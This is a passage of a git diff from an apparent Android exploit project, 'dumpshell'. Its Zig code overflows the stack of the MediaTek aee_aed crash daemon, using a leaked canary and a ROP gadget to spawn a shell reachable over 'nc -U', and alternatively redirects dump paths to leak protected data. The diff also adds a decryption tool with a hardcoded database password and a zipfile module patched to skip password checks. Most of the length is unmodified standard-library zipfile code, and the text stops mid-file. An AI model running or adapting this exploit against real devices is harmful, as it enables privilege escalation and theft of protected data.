gadgetaddr: usize = SYSTEM_GADGET + params.base; + var cmdaddr = @as(isize, @bitCast(params.worker)) +% (WORKER_CANARY_OFFSET - TRIGGER_CANARY_OFFSET); + print("Cmd address = {x}\n", .{@as(usize, @bitCast(cmdaddr))}); + print("Gadget address = {x}, Base = {x}\n", .{ gadgetaddr, params.base }); + var frame: FrameSave32 = .{ + .canary = params.canary, + .r6 = @bitCast(cmdaddr), + .lr = gadgetaddr, + }; + @memcpy(payload[TRIGGER_CANARY_OFFSET..], @as([*]const u8, @ptrCast(&frame))[0..@sizeOf(FrameSave32)]); + try trigger(&process_client, &payload); + print("{s} PAYLOAD SENT (Run \"nc -U ''\" in the adb shell to connect to it!)\n", .{STABLE_BANNER}); + } else { + print("Leaking database...\n", .{}); + // Pad out the payload until the canary + var payload: [TRIGGER_CANARY_OFFSET + @sizeOf(FrameSave32)]u8 = undefined; + @memset(payload[0..TRIGGER_CANARY_OFFSET], 0xff); + + // We can conveniently overwrite the report address so that the next dump we write + // overwrites the temporary database path, tricking aee_aed calling dumpstate on + // a custom path of our choosing instead of /data/aee_exp which is inaccessible by us + var report_addr = @as(isize, @bitCast(params.worker)) +% (WORKER_REPORT_OFFSET - REPORT_MODULE_OFFSET + REPORT_TMPDATABASE_OFFSET); + print("Report addr: {x}\n", .{@as(usize, @bitCast(report_addr))}); + + // r4 = Report object address + // r5 = Report object fd + // + // We need r5 to be 0, 1, or 2 because it hangs if it's not a valid file descriptor. + // Conveniently, aee_aed is a daemon (hence the name...) so 0, 1, and 2 is /dev/null + var frame: FrameSave32 = .{ + .canary = params.canary, + .r4 = @bitCast(report_addr), + .r5 = 0, + }; + // Only data before the r5 register needs to be written + @memcpy(payload[TRIGGER_CANARY_OFFSET..], @as([*]const u8, @ptrCast(&frame))[0..@sizeOf(FrameSave32)]); + try trigger(&process_client, payload[0 .. TRIGGER_CANARY_OFFSET + @offsetOf(FrameSave32, "r5")]); + + // Overwrite the dump path with our own + // Use SDCard because it's always readable and writable by everybody, + // so the data can be cleared if root writes to this file. + // This is not the case with /data/local/tmp as I learned the hard way... + var dump_path_buf: [DBPATH_MAX]u8 = undefined; + var dump_path = try mkdbpath(params.dbnum, &dump_path_buf); + var hdr: AedProcHeader = .{ + .cmdtype = 0, + .cmd = 0, + .seq = 0, + .exp = 0, + }; + _ = try process_client.read(&hdr, &.{}); + hdr.len = dump_path.len; + _ = try process_client.write(&hdr, dump_path); + process_client.close(); + // Don't want to print null byte in dump path + print("{s} DUMP SUCCESSFUL ({s})\n", .{ STABLE_BANNER, dump_path[0 .. dump_path.len - 1] }); + } +} diff --git a/dumpshell/src/processd.zig b/dumpshell/src/processd.zig new file mode 100644 index 0000000..6daea0a --- /dev/null +++ b/dumpshell/src/processd.zig @@ -0,0 +1,100 @@ +const std = @import("std"); +const os = std.os; +const print = std.debug.print; +const android = @import("android.zig"); + +/// Code for interacting with aed_process_worker on the unit +pub const AedProcCmdType = enum(u32) { + req = 0, + // Present, but not supported :( + resp = 1, + ind = 2, +}; + +pub const AedProcCmd = enum(u32) { + class = 1, + typ = 2, + process = 3, + module = 4, + backtrace = 5, + detail = 6, + ind_fatal = 11, + ind_exp = 12, + ind_wrn = 13, + ind_rem = 14, + ind_log_status = 15, + ind_log_close = 16, + coredump = 22, + userspace_backtrace = 40, + user_reg = 41, + user_maps = 42, + trigger_time = 43, + fd_info = 44, + maps_info = 45, +}; + +pub const AedProcExp = enum(u32) { + kernel = 0, + hw_reboot = 2, + native = 3, + java = 4, + swt = 5, + external = 6, + resmon = 9, + modem_warn = 10, + wtf = 11, + undef = 12, + manual_dump = 13, + kernel_dump = 1000, + system_dump = 1001, + system_dump_2 = 1002, + mrdump = 1003, + s_reboot = 1004, + hang = 1005, + ocp_reboot = 1006, + sec_reboot = 1007, + reboot_exception = 1008, + // TODO: Add more AED EXPs +}; + +// It seems that, when sending the opening packet, +// seq becomes the pid and len becomes the tid. +// Weird... +pub const AedProcHeader = extern struct { + cmdtype: u32, + cmd: u32, + seq: u32, + exp: u32, + len: u32 = 0, + dbopt: u32 = 0, +}; + +pub const ProcessClient = struct { + stream: std.net.Stream, + + pub fn init(stream: std.net.Stream) ProcessClient { + return .{ .stream = stream }; + } + pub fn close(self: ProcessClient) void { + self.stream.close(); + } + pub fn write(self: ProcessClient, hdr: *AedProcHeader, data: []const u8) !void { + var iovecs: [2]std.os.iovec_const = .{ + .{ + .iov_base = @as([*]const u8, @ptrCast(hdr)), + .iov_len = @sizeOf(AedProcHeader), + }, + .{ .iov_base = @ptrCast(data), .iov_len = data.len }, + }; + _ = try self.stream.writevAll(&iovecs); + } + pub fn writev(self: ProcessClient, hdr: *AedProcHeader, iovecs: []std.os.iovec_const) !void { + _ = try self.stream.writeAll(@as([*]const u8, @ptrCast(hdr))[0..@sizeOf(AedProcHeader)]); + _ = try self.stream.writevAll(iovecs); + } + pub fn read(self: ProcessClient, hdr: *AedProcHeader, data: []u8) !void { + _ = try self.stream.readAll(@as([*]u8, @ptrCast(hdr))[0..@sizeOf(AedProcHeader)]); + if (hdr.len > data.len) return std.os.ReadError.InputOutput; + _ = try self.stream.readAll(data[0..hdr.len]); + } +}; diff --git a/dumpshell/src/rttd.zig b/dumpshell/src/rttd.zig new file mode 100644 index 0000000..afb1512 --- /dev/null +++ b/dumpshell/src/rttd.zig @@ -0,0 +1,34 @@ +const std = @import("std"); +const os = std.os; +const android = @import("android.zig"); +const print = std.debug.print; + + +/// Communicate with RTTD and leak a stack canary! +pub const RTTCmd = enum(u32) { + clean_dal = 2, +}; + +pub const RTTPacket = extern struct { + unk1: i32 = 0, + cmd: u32, + pid: i32, + unk2: i32 = 0, + unk3: i32 = 0, + unk4: i32 = 0, + data: [84]u8 = undefined, +}; + +pub const RTTClient = struct { + stream: std.net.Stream, + + pub fn init(stream: std.net.Stream) RTTClient { + return .{ .stream = stream }; + } + pub fn close(self: RTTClient) void { + self.stream.close(); + } + pub fn write(self: RTTClient, packet: *const RTTPacket) !void { + return self.stream.writeAll(@as([*]const u8, @ptrCast(packet))[0..@sizeOf(RTTPacket)]); + } +}; diff --git a/dumpshell/tools/extractdb.py b/dumpshell/tools/extractdb.py new file mode 100644 index 0000000..6dc955c --- /dev/null +++ b/dumpshell/tools/extractdb.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 +import sys +import os +from zipfile_patched import ZipFile + +FILENAME_BEGIN = b'APOSZexandtl' +DB_PASSWD = b'Z8wQh6o3' + +CHOICE_PREFIX = 0 +CHOICE_MIDDLE = 1 +CHOICE_SUFFIX = 2 + +def decfilename(enc): + prelen,midlen,suflen = 0,0,0 + for i in range(len(enc)): + choice = ((i // 3) + (((i * 0xaaaaaaab) >> 0x20) & 0xfffffffe)) & 0xffffffff + if i - choice == 1: + midlen += 1 + elif i == choice: + prelen += 1 + else: + suflen += 1 + prefix = iter(enc[:prelen]) + middle = iter(enc[prelen:prelen+midlen]) + suffix = iter(enc[prelen+midlen:prelen+midlen+suflen]) + dec = bytearray() + for i in range(len(enc)): + choice = ((i // 3) + (((i * 0xaaaaaaab) >> 0x20) & 0xfffffffe)) & 0xffffffff + if i - choice == 1: + dec.append(next(middle)) + elif i == choice: + dec.append(next(prefix)) + else: + dec.append(next(suffix)) + finalname = dec[::-1] + if not finalname.startswith(FILENAME_BEGIN): + raise ValueError("Filename provided does not start with encryption prefix!") + return bytes(finalname[len(FILENAME_BEGIN):]) + +def main(): + if len(sys.argv) < 3: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + zipname = sys.argv[1] + output = sys.argv[2] + with ZipFile(zipname) as fp: + fp.extractall(path=output, pwd=DB_PASSWD) + for fname in os.listdir(output): + os.rename(os.path.join(output, fname), os.path.join(output.encode(), decfilename(fname.encode()))) + +if __name__ == '__main__': + main() diff --git a/dumpshell/tools/zipfile_patched.py b/dumpshell/tools/zipfile_patched.py new file mode 100644 index 0000000..322cb17 --- /dev/null +++ b/dumpshell/tools/zipfile_patched.py @@ -0,0 +1,2240 @@ +""" +Read and write ZIP files. + +XXX references to utf-8 need further investigation. +""" +import binascii +import importlib.util +import io +import os +import shutil +import stat +import struct +import sys +import threading +import time + +try: + import zlib # We may need its compression method + crc32 = zlib.crc32 +except ImportError: + zlib = None + crc32 = binascii.crc32 + +try: + import bz2 # We may need its compression method +except ImportError: + bz2 = None + +try: + import lzma # We may need its compression method +except ImportError: + lzma = None + +__all__ = ["BadZipFile", "BadZipfile", "error", + "ZIP_STORED", "ZIP_DEFLATED", "ZIP_BZIP2", "ZIP_LZMA", + "is_zipfile", "ZipInfo", "ZipFile", "PyZipFile", "LargeZipFile", + "Path"] + +class BadZipFile(Exception): + pass + + +class LargeZipFile(Exception): + """ + Raised when writing a zipfile, the zipfile requires ZIP64 extensions + and those extensions are disabled. + """ + +error = BadZipfile = BadZipFile # Pre-3.2 compatibility names + + +ZIP64_LIMIT = (1 << 31) - 1 +ZIP_FILECOUNT_LIMIT = (1 << 16) - 1 +ZIP_MAX_COMMENT = (1 << 16) - 1 + +# constants for Zip file compression methods +ZIP_STORED = 0 +ZIP_DEFLATED = 8 +ZIP_BZIP2 = 12 +ZIP_LZMA = 14 +# Other ZIP compression methods not supported + +DEFAULT_VERSION = 20 +ZIP64_VERSION = 45 +BZIP2_VERSION = 46 +LZMA_VERSION = 63 +# we recognize (but not necessarily support) all features up to that version +MAX_EXTRACT_VERSION = 63 + +# Below are some formats and associated data for reading/writing headers using +# the struct module. The names and structures of headers/records are those used +# in the PKWARE description of the ZIP file format: +# http://www.pkware.com/documents/casestudies/APPNOTE.TXT +# (URL valid as of January 2008) + +# The "end of central directory" structure, magic number, size, and indices +# (section V.I in the format document) +structEndArchive = b"<4s4H2LH" +stringEndArchive = b"PK\005\006" +sizeEndCentDir = struct.calcsize(structEndArchive) + +_ECD_SIGNATURE = 0 +_ECD_DISK_NUMBER = 1 +_ECD_DISK_START = 2 +_ECD_ENTRIES_THIS_DISK = 3 +_ECD_ENTRIES_TOTAL = 4 +_ECD_SIZE = 5 +_ECD_OFFSET = 6 +_ECD_COMMENT_SIZE = 7 +# These last two indices are not part of the structure as defined in the +# spec, but they are used internally by this module as a convenience +_ECD_COMMENT = 8 +_ECD_LOCATION = 9 + +# The "central directory" structure, magic number, size, and indices +# of entries in the structure (section V.F in the format document) +structCentralDir = "<4s4B4HL2L5H2L" +stringCentralDir = b"PK\001\002" +sizeCentralDir = struct.calcsize(structCentralDir) + +# indexes of entries in the central directory structure +_CD_SIGNATURE = 0 +_CD_CREATE_VERSION = 1 +_CD_CREATE_SYSTEM = 2 +_CD_EXTRACT_VERSION = 3 +_CD_EXTRACT_SYSTEM = 4 +_CD_FLAG_BITS = 5 +_CD_COMPRESS_TYPE = 6 +_CD_TIME = 7 +_CD_DATE = 8 +_CD_CRC = 9 +_CD_COMPRESSED_SIZE = 10 +_CD_UNCOMPRESSED_SIZE = 11 +_CD_FILENAME_LENGTH = 12 +_CD_EXTRA_FIELD_LENGTH = 13 +_CD_COMMENT_LENGTH = 14 +_CD_DISK_NUMBER_START = 15 +_CD_INTERNAL_FILE_ATTRIBUTES = 16 +_CD_EXTERNAL_FILE_ATTRIBUTES = 17 +_CD_LOCAL_HEADER_OFFSET = 18 + +# General purpose bit flags +# Zip Appnote: 4.4.4 general purpose bit flag: (2 bytes) +_MASK_ENCRYPTED = 1 << 0 +# Bits 1 and 2 have different meanings depending on the compression used. +_MASK_COMPRESS_OPTION_1 = 1 << 1 +# _MASK_COMPRESS_OPTION_2 = 1 << 2 +# _MASK_USE_DATA_DESCRIPTOR: If set, crc-32, compressed size and uncompressed +# size are zero in the local header and the real values are written in the data +# descriptor immediately following the compressed data. +_MASK_USE_DATA_DESCRIPTOR = 1 << 3 +# Bit 4: Reserved for use with compression method 8, for enhanced deflating. +# _MASK_RESERVED_BIT_4 = 1 << 4 +_MASK_COMPRESSED_PATCH = 1 << 5 +_MASK_STRONG_ENCRYPTION = 1 << 6 +# _MASK_UNUSED_BIT_7 = 1 << 7 +# _MASK_UNUSED_BIT_8 = 1 << 8 +# _MASK_UNUSED_BIT_9 = 1 << 9 +# _MASK_UNUSED_BIT_10 = 1 << 10 +_MASK_UTF_FILENAME = 1 << 11 +# Bit 12: Reserved by PKWARE for enhanced compression. +# _MASK_RESERVED_BIT_12 = 1 << 12 +# _MASK_ENCRYPTED_CENTRAL_DIR = 1 << 13 +# Bit 14, 15: Reserved by PKWARE +# _MASK_RESERVED_BIT_14 = 1 << 14 +# _MASK_RESERVED_BIT_15 = 1 << 15 + +# The "local file header" structure, magic number, size, and indices +# (section V.A in the format document) +structFileHeader = "<4s2B4HL2L2H" +stringFileHeader = b"PK\003\004" +sizeFileHeader = struct.calcsize(structFileHeader) + +_FH_SIGNATURE = 0 +_FH_EXTRACT_VERSION = 1 +_FH_EXTRACT_SYSTEM = 2 +_FH_GENERAL_PURPOSE_FLAG_BITS = 3 +_FH_COMPRESSION_METHOD = 4 +_FH_LAST_MOD_TIME = 5 +_FH_LAST_MOD_DATE = 6 +_FH_CRC = 7 +_FH_COMPRESSED_SIZE = 8 +_FH_UNCOMPRESSED_SIZE = 9 +_FH_FILENAME_LENGTH = 10 +_FH_EXTRA_FIELD_LENGTH = 11 + +# The "Zip64 end of central directory locator" structure, magic number, and size +structEndArchive64Locator = "<4sLQL" +stringEndArchive64Locator = b"PK\x06\x07" +sizeEndCentDir64Locator = struct.calcsize(structEndArchive64Locator) + +# The "Zip64 end of central directory" record, magic number, size, and indices +# (section V.G in the format document) +structEndArchive64 = "<4sQ2H2L4Q" +stringEndArchive64 = b"PK\x06\x06" +sizeEndCentDir64 = struct.calcsize(structEndArchive64) + +_CD64_SIGNATURE = 0 +_CD64_DIRECTORY_RECSIZE = 1 +_CD64_CREATE_VERSION = 2 +_CD64_EXTRACT_VERSION = 3 +_CD64_DISK_NUMBER = 4 +_CD64_DISK_NUMBER_START = 5 +_CD64_NUMBER_ENTRIES_THIS_DISK = 6 +_CD64_NUMBER_ENTRIES_TOTAL = 7 +_CD64_DIRECTORY_SIZE = 8 +_CD64_OFFSET_START_CENTDIR = 9 + +_DD_SIGNATURE = 0x08074b50 + + +class _Extra(bytes): + FIELD_STRUCT = struct.Struct(' 1: + raise BadZipFile("zipfiles that span multiple disks are not supported") + + # Assume no 'zip64 extensible data' + fpin.seek(offset - sizeEndCentDir64Locator - sizeEndCentDir64, 2) + data = fpin.read(sizeEndCentDir64) + if len(data) != sizeEndCentDir64: + return endrec + sig, sz, create_version, read_version, disk_num, disk_dir, \ + dircount, dircount2, dirsize, diroffset = \ + struct.unpack(structEndArchive64, data) + if sig != stringEndArchive64: + return endrec + + # Update the original endrec using data from the ZIP64 record + endrec[_ECD_SIGNATURE] = sig + endrec[_ECD_DISK_NUMBER] = disk_num + endrec[_ECD_DISK_START] = disk_dir + endrec[_ECD_ENTRIES_THIS_DISK] = dircount + endrec[_ECD_ENTRIES_TOTAL] = dircount2 + endrec[_ECD_SIZE] = dirsize + endrec[_ECD_OFFSET] = diroffset + return endrec + + +def _EndRecData(fpin): + """Return data from the "End of Central Directory" record, or None. + + The data is a list of the nine items in the ZIP "End of central dir" + record followed by a tenth item, the file seek offset of this record.""" + + # Determine file size + fpin.seek(0, 2) + filesize = fpin.tell() + + # Check to see if this is ZIP file with no archive comment (the + # "end of central directory" structure should be the last item in the + # file if this is the case). + try: + fpin.seek(-sizeEndCentDir, 2) + except OSError: + return None + data = fpin.read() + if (len(data) == sizeEndCentDir and + data[0:4] == stringEndArchive and + data[-2:] == b"\000\000"): + # the signature is correct and there's no comment, unpack structure + endrec = struct.unpack(structEndArchive, data) + endrec=list(endrec) + + # Append a blank comment and record start offset + endrec.append(b"") + endrec.append(filesize - sizeEndCentDir) + + # Try to read the "Zip64 end of central directory" structure + return _EndRecData64(fpin, -sizeEndCentDir, endrec) + + # Either this is not a ZIP file, or it is a ZIP file with an archive + # comment. Search the end of the file for the "end of central directory" + # record signature. The comment is the last item in the ZIP file and may be + # up to 64K long. It is assumed that the "end of central directory" magic + # number does not appear in the comment. + maxCommentStart = max(filesize - (1 << 16) - sizeEndCentDir, 0) + fpin.seek(maxCommentStart, 0) + data = fpin.read() + start = data.rfind(stringEndArchive) + if start >= 0: + # found the magic number; attempt to unpack and interpret + recData = data[start:start+sizeEndCentDir] + if len(recData) != sizeEndCentDir: + # Zip file is corrupted. + return None + endrec = list(struct.unpack(structEndArchive, recData)) + commentSize = endrec[_ECD_COMMENT_SIZE] #as claimed by the zip file + comment = data[start+sizeEndCentDir:start+sizeEndCentDir+commentSize] + endrec.append(comment) + endrec.append(maxCommentStart + start) + + # Try to read the "Zip64 end of central directory" structure + return _EndRecData64(fpin, maxCommentStart + start - filesize, + endrec) + + # Unable to find a valid end of central directory structure + return None + +def _sanitize_filename(filename): + """Terminate the file name at the first null byte and + ensure paths always use forward slashes as the directory separator.""" + + # Terminate the file name at the first null byte. Null bytes in file + # names are used as tricks by viruses in archives. + null_byte = filename.find(chr(0)) + if null_byte >= 0: + filename = filename[0:null_byte] + # This is used to ensure paths in generated ZIP files always use + # forward slashes as the directory separator, as required by the + # ZIP format specification. + if os.sep != "/" and os.sep in filename: + filename = filename.replace(os.sep, "/") + if os.altsep and os.altsep != "/" and os.altsep in filename: + filename = filename.replace(os.altsep, "/") + return filename + + +class ZipInfo (object): + """Class with attributes describing each file in the ZIP archive.""" + + __slots__ = ( + 'orig_filename', + 'filename', + 'date_time', + 'compress_type', + '_compresslevel', + 'comment', + 'extra', + 'create_system', + 'create_version', + 'extract_version', + 'reserved', + 'flag_bits', + 'volume', + 'internal_attr', + 'external_attr', + 'header_offset', + 'CRC', + 'compress_size', + 'file_size', + '_raw_time', + ) + + def __init__(self, filename="NoName", date_time=(1980,1,1,0,0,0)): + self.orig_filename = filename # Original file name in archive + + # Terminate the file name at the first null byte and + # ensure paths always use forward slashes as the directory separator. + filename = _sanitize_filename(filename) + + self.filename = filename # Normalized file name + self.date_time = date_time # year, month, day, hour, min, sec + + if date_time[0] < 1980: + raise ValueError('ZIP does not support timestamps before 1980') + + # Standard values: + self.compress_type = ZIP_STORED # Type of compression for the file + self._compresslevel = None # Level for the compressor + self.comment = b"" # Comment for each file + self.extra = b"" # ZIP extra data + if sys.platform == 'win32': + self.create_system = 0 # System which created ZIP archive + else: + # Assume everything else is unix-y + self.create_system = 3 # System which created ZIP archive + self.create_version = DEFAULT_VERSION # Version which created ZIP archive + self.extract_version = DEFAULT_VERSION # Version needed to extract archive + self.reserved = 0 # Must be zero + self.flag_bits = 0 # ZIP flag bits + self.volume = 0 # Volume number of file header + self.internal_attr = 0 # Internal attributes + self.external_attr = 0 # External file attributes + self.compress_size = 0 # Size of the compressed file + self.file_size = 0 # Size of the uncompressed file + # Other attributes are set by class ZipFile: + # header_offset Byte offset to the file header + # CRC CRC-32 of the uncompressed file + + def __repr__(self): + result = ['<%s filename=%r' % (self.__class__.__name__, self.filename)] + if self.compress_type != ZIP_STORED: + result.append(' compress_type=%s' % + compressor_names.get(self.compress_type, + self.compress_type)) + hi = self.external_attr >> 16 + lo = self.external_attr & 0xFFFF + if hi: + result.append(' filemode=%r' % stat.filemode(hi)) + if lo: + result.append(' external_attr=%#x' % lo) + isdir = self.is_dir() + if not isdir or self.file_size: + result.append(' file_size=%r' % self.file_size) + if ((not isdir or self.compress_size) and + (self.compress_type != ZIP_STORED or + self.file_size != self.compress_size)): + result.append(' compress_size=%r' % self.compress_size) + result.append('>') + return ''.join(result) + + def FileHeader(self, zip64=None): + """Return the per-file header as a bytes object. + + When the optional zip64 arg is None rather than a bool, we will + decide based upon the file_size and compress_size, if known, + False otherwise. + """ + dt = self.date_time + dosdate = (dt[0] - 1980) << 9 | dt[1] << 5 | dt[2] + dostime = dt[3] << 11 | dt[4] << 5 | (dt[5] // 2) + if self.flag_bits & _MASK_USE_DATA_DESCRIPTOR: + # Set these to zero because we write them after the file data + CRC = compress_size = file_size = 0 + else: + CRC = self.CRC + compress_size = self.compress_size + file_size = self.file_size + + extra = self.extra + + min_version = 0 + if zip64 is None: + # We always explicitly pass zip64 within this module.... This + # remains for anyone using ZipInfo.FileHeader as a public API. + zip64 = file_size > ZIP64_LIMIT or compress_size > ZIP64_LIMIT + if zip64: + fmt = '= 4: + tp, ln = unpack(' len(extra): + raise BadZipFile("Corrupt extra field %04x (size=%d)" % (tp, ln)) + if tp == 0x0001: + data = extra[4:ln+4] + # ZIP64 extension (large files and/or large archives) + try: + if self.file_size in (0xFFFF_FFFF_FFFF_FFFF, 0xFFFF_FFFF): + field = "File size" + self.file_size, = unpack(' 2107: + date_time = (2107, 12, 31, 23, 59, 59) + # Create ZipInfo instance to store file information + if arcname is None: + arcname = filename + arcname = os.path.normpath(os.path.splitdrive(arcname)[1]) + while arcname[0] in (os.sep, os.altsep): + arcname = arcname[1:] + if isdir: + arcname += '/' + zinfo = cls(arcname, date_time) + zinfo.external_attr = (st.st_mode & 0xFFFF) << 16 # Unix attributes + if isdir: + zinfo.file_size = 0 + zinfo.external_attr |= 0x10 # MS-DOS directory flag + else: + zinfo.file_size = st.st_size + + return zinfo + + def is_dir(self): + """Return True if this archive member is a directory.""" + return self.filename.endswith('/') + + +# ZIP encryption uses the CRC32 one-byte primitive for scrambling some +# internal keys. We noticed that a direct implementation is faster than +# relying on binascii.crc32(). + +_crctable = None +def _gen_crc(crc): + for j in range(8): + if crc & 1: + crc = (crc >> 1) ^ 0xEDB88320 + else: + crc >>= 1 + return crc + +# ZIP supports a password-based form of encryption. Even though known +# plaintext attacks have been found against it, it is still useful +# to be able to get data out of such a file. +# +# Usage: +# zd = _ZipDecrypter(mypwd) +# plain_bytes = zd(cypher_bytes) + +def _ZipDecrypter(pwd): + key0 = 305419896 + key1 = 591751049 + key2 = 878082192 + + global _crctable + if _crctable is None: + _crctable = list(map(_gen_crc, range(256))) + crctable = _crctable + + def crc32(ch, crc): + """Compute the CRC32 primitive on one byte.""" + return (crc >> 8) ^ crctable[(crc ^ ch) & 0xFF] + + def update_keys(c): + nonlocal key0, key1, key2 + key0 = crc32(c, key0) + key1 = (key1 + (key0 & 0xFF)) & 0xFFFFFFFF + key1 = (key1 * 134775813 + 1) & 0xFFFFFFFF + key2 = crc32(key1 >> 24, key2) + + for p in pwd: + update_keys(p) + + def decrypter(data): + """Decrypt a bytes object.""" + result = bytearray() + append = result.append + for c in data: + k = key2 | 2 + c ^= ((k * (k^1)) >> 8) & 0xFF + update_keys(c) + append(c) + return bytes(result) + + return decrypter + + +class LZMACompressor: + + def __init__(self): + self._comp = None + + def _init(self): + props = lzma._encode_filter_properties({'id': lzma.FILTER_LZMA1}) + self._comp = lzma.LZMACompressor(lzma.FORMAT_RAW, filters=[ + lzma._decode_filter_properties(lzma.FILTER_LZMA1, props) + ]) + return struct.pack('> 8) & 0xff + else: + # compare against the CRC otherwise + check_byte = (zipinfo.CRC >> 24) & 0xff + h = self._init_decrypter() + if h != check_byte: + pass + # This has to be patched out because libaed.so hardcodes the CRC to be 0 + # raise RuntimeError("Bad password for file %r" % zipinfo.orig_filename) + + + def _init_decrypter(self): + self._decrypter = _ZipDecrypter(self._pwd) + # The first 12 bytes in the cypher stream is an encryption header + # used to strengthen the algorithm. The first 11 bytes are + # completely random, while the 12th contains the MSB of the CRC, + # or the MSB of the file time depending on the header type + # and is used to check the correctness of the password. + header = self._fileobj.read(12) + self._compress_left -= 12 + return self._decrypter(header)[11] + + def __repr__(self): + result = ['<%s.%s' % (self.__class__.__module__, + self.__class__.__qualname__)] + if not self.closed: + result.append(' name=%r mode=%r' % (self.name, self.mode)) + if self._compress_type != ZIP_STORED: + result.append(' compress_type=%s' % + compressor_names.get(self._compress_type, + self._compress_type)) + else: + result.append(' [closed]') + result.append('>') + return ''.join(result) + + def readline(self, limit=-1): + """Read and return a line from the stream. + + If limit is specified, at most limit bytes will be read. + """ + + if limit < 0: + # Shortcut common case - newline found in buffer. + i = self._readbuffer.find(b'\n', self._offset) + 1 + if i > 0: + line = self._readbuffer[self._offset: i] + self._offset = i + return line + + return io.BufferedIOBase.readline(self, limit) + + def peek(self, n=1): + """Returns buffered bytes without advancing the position.""" + if n > len(self._readbuffer) - self._offset: + chunk = self.read(n) + if len(chunk) > self._offset: + self._readbuffer = chunk + self._readbuffer[self._offset:] + self._offset = 0 + else: + self._offset -= len(chunk) + + # Return up to 512 bytes to reduce allocation overhead for tight loops. + return self._readbuffer[self._offset: self._offset + 512] + + def readable(self): + if self.closed: + raise ValueError("I/O operation on closed file.") + return True + + def read(self, n=-1): + """Read and return up to n bytes. + If the argument is omitted, None, or negative, data is read and returned until EOF is reached. + """ + if self.closed: + raise ValueError("read from closed file.") + if n is None or n < 0: + buf = self._readbuffer[self._offset:] + self._readbuffer = b'' + self._offset = 0 + while not self._eof: + buf += self._read1(self.MAX_N) + return buf + + end = n + self._offset + if end < len(self._readbuffer): + buf = self._readbuffer[self._offset:end] + self._offset = end + return buf + + n = end - len(self._readbuffer) + buf = self._readbuffer[self._offset:] + self._readbuffer = b'' + self._offset = 0 + while n > 0 and not self._eof: + data = self._read1(n) + if n < len(data): + self._readbuffer = data + self._offset = n + buf += data[:n] + break + buf += data + n -= len(data) + return buf + + def _update_crc(self, newdata): + # Update the CRC using the given data. + if self._expected_crc is None: + # No need to compute the CRC if we don't have a reference value + return + self._running_crc = crc32(newdata, self._running_crc) + # Check the CRC if we're at the end of the file + if self._eof and self._running_crc != self._expected_crc: + raise BadZipFile("Bad CRC-32 for file %r" % self.name) + + def read1(self, n): + """Read up to n bytes with at most one read() system call.""" + + if n is None or n < 0: + buf = self._readbuffer[self._offset:] + self._readbuffer = b'' + self._offset = 0 + while not self._eof: + data = self._read1(self.MAX_N) + if data: + buf += data + break + return buf + + end = n + self._offset + if end < len(self._readbuffer): + buf = self._readbuffer[self._offset:end] + self._offset = end + return buf + + n = end - len(self._readbuffer) + buf = self._readbuffer[self._offset:] + self._readbuffer = b'' + self._offset = 0 + if n > 0: + while not self._eof: + data = self._read1(n) + if n < len(data): + self._readbuffer = data + self._offset = n + buf += data[:n] + break + if data: + buf += data + break + return buf + + def _read1(self, n): + # Read up to n compressed bytes with at most one read() system call, + # decrypt and decompress them. + if self._eof or n <= 0: + return b'' + + # Read from file. + if self._compress_type == ZIP_DEFLATED: + ## Handle unconsumed data. + data = self._decompressor.unconsumed_tail + if n > len(data): + data += self._read2(n - len(data)) + else: + data = self._read2(n) + + if self._compress_type == ZIP_STORED: + self._eof = self._compress_left <= 0 + elif self._compress_type == ZIP_DEFLATED: + n = max(n, self.MIN_READ_SIZE) + data = self._decompressor.decompress(data, n) + self._eof = (self._decompressor.eof or + self._compress_left <= 0 and + not self._decompressor.unconsumed_tail) + if self._eof: + data += self._decompressor.flush() + else: + data = self._decompressor.decompress(data) + self._eof = self._decompressor.eof or self._compress_left <= 0 + + data = data[:self._left] + self._left -= len(data) + if self._left <= 0: + self._eof = True + self._update_crc(data) + return data + + def _read2(self, n): + if self._compress_left <= 0: + return b'' + + n = max(n, self.MIN_READ_SIZE) + n = min(n, self._compress_left) + + data = self._fileobj.read(n) + self._compress_left -= len(data) + if not data: + raise EOFError + + if self._decrypter is not None: + data = self._decrypter(data) + return data + + def close(self): + try: + if self._close_fileobj: + self._fileobj.close() + finally: + super().close() + + def seekable(self): + if self.closed: + raise ValueError("I/O operation on closed file.") + return self._seekable + + def seek(self, offset, whence=os.SEEK_SET): + if self.closed: + raise ValueError("seek on closed file.") + if not self._seekable: + raise io.UnsupportedOperation("underlying stream is not seekable") + curr_pos = self.tell() + if whence == os.SEEK_SET: + new_pos = offset + elif whence == os.SEEK_CUR: + new_pos = curr_pos + offset + elif whence == os.SEEK_END: + new_pos = self._orig_file_size + offset + else: + raise ValueError("whence must be os.SEEK_SET (0), " + "os.SEEK_CUR (1), or os.SEEK_END (2)") + + if new_pos > self._orig_file_size: + new_pos = self._orig_file_size + + if new_pos < 0: + new_pos = 0 + + read_offset = new_pos - curr_pos + buff_offset = read_offset + self._offset + + # Fast seek uncompressed unencrypted file + if self._compress_type == ZIP_STORED and self._decrypter is None and read_offset > 0: + # disable CRC checking after first seeking - it would be invalid + self._expected_crc = None + # seek actual file taking already buffered data into account + read_offset -= len(self._readbuffer) - self._offset + self._fileobj.seek(read_offset, os.SEEK_CUR) + self._left -= read_offset + read_offset = 0 + # flush read buffer + self._readbuffer = b'' + self._offset = 0 + elif buff_offset >= 0 and buff_offset < len(self._readbuffer): + # Just move the _offset index if the new position is in the _readbuffer + self._offset = buff_offset + read_offset = 0 + elif read_offset < 0: + # Position is before the current position. Reset the ZipExtFile + self._fileobj.seek(self._orig_compress_start) + self._running_crc = self._orig_start_crc + self._expected_crc = self._orig_crc + self._compress_left = self._orig_compress_size + self._left = self._orig_file_size + self._readbuffer = b'' + self._offset = 0 + self._decompressor = _get_decompressor(self._compress_type) + self._eof = False + read_offset = new_pos + if self._decrypter is not None: + self._init_decrypter() + + while read_offset > 0: + read_len = min(self.MAX_SEEK_READ, read_offset) + self.read(read_len) + read_offset -= read_len + + return self.tell() + + def tell(self): + if self.closed: + raise ValueError("tell on closed file.") + if not self._seekable: + raise io.UnsupportedOperation("underlying stream is not seekable") + filepos = self._orig_file_size - self._left - len(self._readbuffer) + self._offset + return filepos + + +class _ZipWriteFile(io.BufferedIOBase): + def __init__(self, zf, zinfo, zip64): + self._zinfo = zinfo + self._zip64 = zip64 + self._zipfile = zf + self._compressor = _get_compressor(zinfo.compress_type, + zinfo._compresslevel) + self._file_size = 0 + self._compress_size = 0 + self._crc = 0 + + @property + def _fileobj(self): + return self._zipfile.fp + + def writable(self): + return True + + def write(self, data): + if self.closed: + raise ValueError('I/O operation on closed file.') + + # Accept any 